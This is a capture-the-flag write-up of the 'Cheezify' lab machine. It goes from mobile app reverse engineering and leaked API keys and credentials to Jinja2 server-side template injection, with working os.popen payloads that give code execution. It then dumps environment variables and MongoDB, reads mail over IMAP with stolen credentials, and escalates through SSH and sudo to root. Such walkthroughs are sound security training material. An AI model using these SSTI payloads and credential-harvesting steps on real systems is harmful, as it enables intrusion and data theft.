Cheezify - VulnByDefault
Target: http://cheezify.vbd Difficulty: Medium
Table of Contents
- Reconnaissance
- Web Enumeration
- Mobile App Reverse Engineering
- Dev API Exploitation
- Management Portal Access
- Server-Side Template Injection (SSTI → RCE)
- Container Enumeration & Pivot
- Email Exfiltration via IMAP
- SSH Access & Privilege Escalation
1. Reconnaissance
Port Scan
nmap -sV -sC -p22,80 cheezify.vbd
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.29.5
|_http-title: Cheezify | The Cheesiest Delivery in Town
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Two services: SSH and an nginx web server serving a food delivery landing page.
2. Web Enumeration
Main Page Analysis
curl -s http://cheezify.vbd/
The landing page is for "Cheezify", a food delivery app. Key findings in the HTML source:
- Two download links for mobile apps:
cheezify.apk(Android)cheezify.ipa(iOS)
- Static assets referenced:
assets/images/logo.png,assets/burger.png,assets/pizza.png,assets/fries.png - No hidden comments or JavaScript files of interest
Response Headers
Server: nginx/1.29.5
Content-Type: text/html
Standard nginx setup. No additional info leakage from headers.
3. Mobile App Reverse Engineering
Both APK and IPA files were downloaded and analyzed. This was the core of the initial foothold — the mobile apps leaked multiple hidden subdomains, API endpoints, and credentials.
3.1 APK Analysis
curl -s -o /tmp/cheezify.apk http://cheezify.vbd/cheezify.apk
mkdir -p /tmp/cheezify_apk && unzip -o /tmp/cheezify.apk -d /tmp/cheezify_apk
The APK is a Flutter application. The compiled Dart code lives in lib/x86_64/libapp.so.
Extracting Strings from libapp.so
strings /tmp/cheezify_apk/lib/x86_64/libapp.so | grep -iE "cheezify|\.vbd|http"
Findings:
| Finding | Value |
|---|---|
| API Base URL | http://app-api.cheezify.vbd |
| Login Endpoint | http://app-api.cheezify.vbd/auth/login |
| Signup Endpoint | http://app-api.cheezify.vbd/auth/signup |
| Me Endpoint | http://app-api.cheezify.vbd/auth/me |
| Items Endpoint | http://app-api.cheezify.vbd/items/ |
| Favorites Endpoint | http://app-api.cheezify.vbd/favorites/ |
| Orders Endpoint | http://app-api.cheezify.vbd/orders/create |
| Hardcoded Email | cheese.lover@cheezify.vbd |
| Build Path | file:///home/runner/work/cheezify-machine/cheezify-machine/app/ |
Decoding AndroidManifest.xml
apktool d /tmp/cheezify.apk -o /tmp/cheezify_decoded -f
cat /tmp/cheezify_decoded/AndroidManifest.xml
Critical finding in the manifest's <meta-data> tags:
<meta-data android:name="internal_manage_endpoint"
android:value="http://internal-manage.cheezify.vbd"/>
This reveals a hidden internal management subdomain: http://internal-manage.cheezify.vbd.
3.2 IPA Analysis
curl -s -o /tmp/cheezify.ipa http://cheezify.vbd/cheezify.ipa
mkdir -p /tmp/cheezify_ipa && unzip -o /tmp/cheezify.ipa -d /tmp/cheezify_ipa
The iOS app also uses Flutter (Frameworks/App.framework/, Frameworks/Flutter.framework/).
Info.plist Secrets
plutil -p /tmp/cheezify_ipa/Payload/Runner.app/Info.plist
"DevApiEndpoint" => "http://dev-api.cheezify.vbd"
"DevApiKey" => "[REDACTED]"
A third hidden subdomain (dev-api.cheezify.vbd) and an API key were left in the iOS build configuration. The API key has been redacted.
Summary of Discovered Subdomains
| Subdomain | Source | Purpose |
|---|---|---|
app-api.cheezify.vbd |
APK libapp.so strings |
Main API backend |
internal-manage.cheezify.vbd |
APK AndroidManifest.xml |
Internal admin panel |
dev-api.cheezify.vbd |
IPA Info.plist |
Developer API |
All subdomains resolve to the same IP via nginx virtual host routing.
curl -s http://app-api.cheezify.vbd/
4. Dev API Exploitation
Accessing the Dev API
The dev API has its own OpenAPI spec at /openapi.json:
curl -s http://dev-api.cheezify.vbd/openapi.json
Endpoints (all secured with X-API-Key header):
| Method | Path | Description |
|---|---|---|
| GET | /notes/ |
Get developer notes |
| POST | /notes/ |
Add a note |
| GET | /projects/status |
Project health status |
| GET | /projects/info |
Project information |
Reading Developer Notes
curl -s http://dev-api.cheezify.vbd/notes/ \
-H "X-API-Key: [REDACTED]"
{
"notes": [
"Cheezify API is under active development.",
"Remember to use the X-API-Key header for all requests.",
"The backend is currently migrating to a new database schema.",
"Change the credentials for internal.",
"Credentials : admin@cheezify.vbd:[REDACTED]"
]
}
Management portal credentials leaked in dev notes:
- Email:
admin@cheezify.vbd - Password:
[REDACTED]
5. Management Portal Access
Login
curl -s \
-X POST http://internal-manage.cheezify.vbd/login \
-d 'email=admin@cheezify.vbd&password=[REDACTED]' \
-c /tmp/cookies.txt -v
Response: 302 FOUND redirect to / with a JWT session cookie:
Set-Cookie: token=[REDACTED]; HttpOnly; Path=/
Dashboard
The admin dashboard at / provides:
- An "Add New Item" form (name, price, image URL, category, description) that POSTs to
/add - A table of existing menu items with delete buttons
6. Server-Side Template Injection (SSTI → RCE)
Discovery
The Flask application uses render_template_string() on user-controlled item names. Adding an item with the name {{7*7}} renders as 49 on the dashboard.
curl -s \
-X POST http://internal-manage.cheezify.vbd/add \
-b /tmp/cookies.txt \
--data-urlencode "name={{7*7}}" \
-d 'price=1.00&image=https://placehold.co/40&category=Popular&desc=test'
Confirmed: Jinja2 Server-Side Template Injection.
The Vulnerable Code
From reading /app/app.py via SSTI:
@app.route("/")
@token_required
def index():
from flask import render_template_string
items = list(db.items.find())
for item in items:
try:
item['name'] = render_template_string(item['name']) # VULNERABLE
except Exception:
pass
...
Remote Code Execution
Executing id
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Leaking Flask Config
{{config}}
Result (key excerpts):
'SECRET_KEY': '[REDACTED]'
Leaking Environment Variables
{{request.application.__globals__.__builtins__.__import__('os').popen('env | sort').read()}}
Key environment variables:
| Variable | Value |
|---|---|
USER |
developer |
PASSWORD |
[REDACTED] |
MONGODB_URL |
mongodb://mongodb:27017/cheezify |
INTERNAL_MONGO_URL |
mongodb://mongodb:27017/secretdb |
SECRET_KEY |
[REDACTED] |
HOSTNAME |
39366f79c7c3 |
We are inside a Docker container.
Dumping MongoDB Users
Using the SSTI to run a Python one-liner that queries the internal MongoDB:
{{request.application.__globals__.__builtins__.__import__('os').popen(
'python3 -c "from pymongo import MongoClient as MC; ... print(list(c.secretdb.users.find()))"'
).read()}}
Result:
| Password | Status | Role | |
|---|---|---|---|
admin@cheezify.vbd |
[REDACTED] |
active | admin |
dev-ops@cheezify.vbd |
[REDACTED] |
revoked | devops |
7. Container Enumeration & Pivot
Container Network
The container IP is 172.18.0.2. The Docker gateway (host) is at 172.18.0.1.
Internal Network Scan
Using SSTI to run a Python port scanner:
| Host | Open Ports | Service |
|---|---|---|
172.18.0.1 |
22, 80 | Host machine (SSH + nginx) |
172.18.0.2 |
5000 | Flask management app (this container) |
172.18.0.3 |
80 | Main Cheezify API (FastAPI) |
172.18.0.4 |
80 | Roundcube Webmail (Apache/PHP) |
172.18.0.6 |
8000 | Dev API |
172.18.0.8 |
25, 143, 465, 587 | Mail server (Postfix + Dovecot) |
The discovery of Roundcube Webmail and a mail server opened the pivoting path.
8. Email Exfiltration via IMAP
IMAP Login
Using the dev-ops@cheezify.vbd credentials from MongoDB, we connected to the IMAP server at 172.18.0.8:143 via SSTI-executed Python:
import imaplib
m = imaplib.IMAP4('172.18.0.8', 143)
m.login('dev-ops@cheezify.vbd', '[REDACTED]')
m.select('INBOX')
typ, data = m.search(None, 'ALL')
# Fetched 4 emails
Emails Found
Email 1 — From: security-audit@cheezify.vbd
Subject: Firewall Rule Update
Please restrict access to port 27017 (Internal MongoDB) to only the dashboard container IP. It is currently too exposed.
Email 2 — From: manager@cheezify.vbd — Critical
Subject: Re: App Deployment Status
Hi DevOps Team,
If you ever need the manager privilege for doing the tasks you can use the following credentials:
Username: manager Password: [REDACTED]
Regards, Manager
Email 3 — From: support@cheezify.vbd
Subject: Image Upload Issues
Users are reporting that uploaded PNGs over 5MB are failing. Can we check the Nginx
client_max_body_size?
Email 4 — From: dev-ops@cheezify.vbd (self-sent note, truncated)
9. SSH Access & Privilege Escalation
SSH as Manager
sshpass -p '[REDACTED]' ssh manager@cheezify.vbd
uid=1000(manager) gid=1000(manager) groups=1000(manager),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
The manager user is a member of the sudo group.
Root via sudo
echo "[REDACTED]" | sudo -S id
uid=0(root) gid=0(root) groups=0(root)
Root Flag
sudo cat /root/root.txt
Attack Chain Summary
Landing Page (cheezify.vbd)
│
├── Download cheezify.apk
│ ├── strings libapp.so → http://app-api.cheezify.vbd
│ └── AndroidManifest.xml → http://internal-manage.cheezify.vbd
│
├── Download cheezify.ipa
│ └── Info.plist → http://dev-api.cheezify.vbd + API Key
│
└── Dev API /notes/ (with leaked API key)
└── Credentials: admin@cheezify.vbd:[REDACTED]
│
└── Login to internal-manage.cheezify.vbd
│
└── SSTI in "Add Item" name field → RCE as www-data (Docker)
│
├── env → INTERNAL_MONGO_URL, PASSWORD
├── MongoDB secretdb.users → dev-ops credentials
├── Network scan → Roundcube + Mail server
│
└── IMAP login as dev-ops → Read emails
│
└── Email contains SSH creds: manager:[REDACTED]
│
└── SSH → sudo → ROOT
Credentials Collected
| Service | Username | Password |
|---|---|---|
| Management Portal | admin@cheezify.vbd |
[REDACTED] |
| Dev API Key | — | [REDACTED] |
| Flask SECRET_KEY | — | [REDACTED] |
| MongoDB (devops) | dev-ops@cheezify.vbd |
[REDACTED] |
| Container env | developer |
[REDACTED] |
| SSH / sudo (root) | manager |
[REDACTED] |